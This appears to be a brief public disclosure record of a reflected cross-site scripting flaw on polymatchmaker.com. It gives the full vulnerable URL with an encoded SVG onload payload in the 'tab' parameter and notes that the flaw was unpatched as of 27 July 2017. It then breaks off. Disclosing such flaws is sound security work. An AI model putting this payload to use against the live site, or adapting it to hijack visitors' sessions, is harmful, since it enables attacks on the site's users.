polymatchmaker.com XSS vulnerability

Vulnerable URL: http://www.polymatchmaker.com/main.mvc?tab=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1064466 VIP website...